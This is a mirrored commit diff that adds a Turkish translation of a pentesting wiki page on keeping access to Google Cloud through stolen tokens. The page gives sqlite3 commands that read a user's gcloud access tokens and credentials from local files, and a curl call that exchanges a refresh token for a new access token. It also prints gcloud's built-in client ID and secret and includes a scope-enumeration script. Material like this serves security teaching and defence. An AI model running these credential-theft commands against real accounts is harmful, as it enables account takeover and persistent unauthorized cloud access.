mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/gcp-security/gcp-persistence/gcp-non-s
This commit is contained in:
@@ -0,0 +1,90 @@
|
||||
# GCP - Token Sürekliliği
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Kimlik Doğrulanmış Kullanıcı Token'ları
|
||||
|
||||
Bir kullanıcının **geçerli token'ını** almak için şunu çalıştırabilirsiniz:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Bu sayfada **bu token'i gcloud kullanarak doğrudan nasıl kullanacağınızı** kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
**Yeni bir erişim token'i oluşturmak için** detayları almak üzere şunu çalıştırın:
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
Ayrıca **`$HOME/.config/gcloud/application_default_credentials.json`** ve **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`** dosyalarında refresh token'ları bulmak da mümkündür.
|
||||
|
||||
Yeni bir erişim token'ı almak için **refresh token**, istemci kimliği ve istemci sırrı ile şunu çalıştırın:
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
**Admin** > **Güvenlik** > **Google Cloud oturum kontrolü** bölümünde yenileme tokenlarının geçerliliği yönetilebilir ve varsayılan olarak 16 saat olarak ayarlanmıştır, ancak asla süresinin dolmaması için ayarlanabilir:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Kimlik doğrulama akışı
|
||||
|
||||
`gcloud auth login` gibi bir şey kullanıldığında kimlik doğrulama akışı, tarayıcıda bir istem açacak ve tüm kapsamları kabul ettikten sonra tarayıcı, aracın açtığı http portuna bu gibi bir istek gönderecektir:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Sonra, gcloud, bazı sabit kodlanmış `client_id` (`32555940559.apps.googleusercontent.com`) ve **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) ile **son refresh token verilerini** almak için durumu ve kodu kullanacaktır.
|
||||
|
||||
> [!CAUTION]
|
||||
> localhost ile iletişimin HTTP üzerinden olduğunu unutmayın, bu nedenle bir refresh token almak için verileri yakalamak mümkündür, ancak bu veri yalnızca 1 kez geçerlidir, bu yüzden bu işe yaramaz, refresh token'ı dosyadan okumak daha kolaydır.
|
||||
|
||||
### OAuth Kapsamları
|
||||
|
||||
Tüm Google kapsamlarını [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) adresinde bulabilir veya bunları çalıştırarak alabilirsiniz:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
Bu betikle **`gcloud`**'un kimlik doğrulamak için kullanabileceği kapsamların hangileri olduğunu görmek mümkündür:
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
|
||||
echo ""
|
||||
echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Bunu çalıştırdıktan sonra, bu uygulamanın bu kapsamları desteklediği kontrol edildi:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
https://www.googleapis.com/auth/cloud-platform
|
||||
https://www.googleapis.com/auth/compute
|
||||
https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
ilginçtir ki bu uygulamanın **`drive`** kapsamını desteklemesi, bir saldırganın kullanıcıyı bu kapsamla bir token oluşturması için zorlaması durumunda, kullanıcının GCP'den Workspace'e geçiş yapmasına olanak tanıyabilir.
|
||||
|
||||
**Bunu nasıl** [**istismar edeceğinizi buradan kontrol edin**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Hizmet Hesapları
|
||||
|
||||
Kimlik doğrulaması yapılmış kullanıcılarla olduğu gibi, eğer bir hizmet hesabının **özel anahtar dosyasını ele geçirirseniz**, genellikle **istediğiniz kadar erişim sağlayabilirsiniz**.\
|
||||
Ancak, bir hizmet hesabının **OAuth token'ını çalarsanız, bu daha da ilginç olabilir, çünkü bu token'lar varsayılan olarak sadece bir saat boyunca geçerli olsa da, eğer **kurban özel API anahtarını silerse, OAuth token'ı süresi dolana kadar geçerli kalacaktır**.
|
||||
|
||||
### Metadata
|
||||
|
||||
Açıkça, GCP ortamında çalışan bir makinenin içindeyseniz, **o makineye bağlı hizmet hesabına erişim sağlayabileceksiniz, bu da metadata uç noktasına ulaşarak mümkündür** (bu uç noktada erişebileceğiniz OAuth token'larının genellikle kapsamlarla kısıtlandığını unutmayın).
|
||||
|
||||
### Çözüm Önerileri
|
||||
|
||||
Bu teknikler için bazı çözüm önerileri [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2) adresinde açıklanmıştır.
|
||||
|
||||
### Referanslar
|
||||
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1)
|
||||
- [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user